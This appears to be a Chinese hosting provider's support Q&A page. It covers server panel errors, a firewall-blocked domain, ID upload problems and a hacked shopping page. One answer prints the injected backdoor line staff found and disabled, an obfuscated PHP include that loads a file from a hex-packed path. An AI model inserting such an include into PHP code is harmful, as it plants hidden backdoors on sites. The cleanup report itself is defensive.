问：Windows系统服务器，安装了IIS，但是打开网站管理助手报错及退出,系统服务器安装了但是打开网站管理助手报错及退出
答：您好，我司管理助手 运行平台：Win位)、Win2008/Win2012/win2016/win位) 。
问：这个域名已经解析绑定了，但是打不开网站
答：您好，查看到对应的站点上的域名在国内无法访问，国外访问正常，原因是被qfw国家防火墙墙了，拦截了访问导致。gfw域名拦截，无法申诉。被墙域名测试https://cq5999.com/
当前查看到您对应的网站内容是正常的企业网站，建议升级到国内空间，在我司备案中心beian.west.cn中提交域名备案，备案完成后使用国内空间进行访问。
如果需要使用港台主机，请更换使用新的域名进行访问。
非常感谢您长期对我司的支持!
问：购买页面被修改为色情网站，
答：您好，经过对程序代码的断点测试核实到挂马如图所示 @INCLUDE_ONCE(PACK(\’H*\’,\’696dfc742f75706c6f61642fc742e6a7067\’)); 当前注释掉相关代码后恢复正常访问了；
我司在服务器上安装了360文档卫士 ，用来监控php文件的改动情况，请您本地不要删除，不要停止此软件 ，后期可通过监控php的运行情况定位后门程序 ；
另，我司建议您本地安装云锁，help.yunsuo.com.cn ，以提高服务器安全 ，并对相关站点设置读写限制 ,非常感谢您长期对我司的支持!
问：网站又无法打开了，请查看
答：您好，根据提示，存在调用组件失败问题，详见附图，请核实您本地是否做过调整，之前我司在清除挂马后站点是可正常访问的，请您本地再进一步核实 ，若您需要协助，请提交正确类型工单 ：【主机租用 vps、云主机】 -> 【站点设置】 -> 【网站无法访问/打开异常】，以便我司对您的程序问题进一步核实 ,非常感谢您长期对我司的支持!
问：您好，你们这个软件是什么垃圾，？上传法人反面后 就空白了，然后多次弄也不行 现在说8分钟后再试？
答：您好，给您带去不便了；根据您之前提交工单反馈，法人身份证是已拍摄的，需选择相册提交，若有法人拍摄的身份证图片，请将正反面提交至工单中，为您核实是否符合要求；
非常感谢您长期对我司的支持.由此给您带来的不便之处,敬请原谅!谢谢!
问：您好，
答：您好，查看提供的法人身份证不完整，边框有剪切；请重新提供完整、清晰、平整的拍摄件，以便协助您通过小程序上传；
非常感谢您长期对我司的支持.由此给您带来的不便之处,敬请原谅!谢谢!
西部数码（west.cn）是经工信部、ICANN、CNNIC认证审批，持有ISP、云牌照、IDC、CDN、顶级域名注册商等全业务资质的正规老牌服务商，自成立至今20余年专注于域名注册、虚拟主机、云服务器、企业邮箱、企业建站等互联网基础服务！
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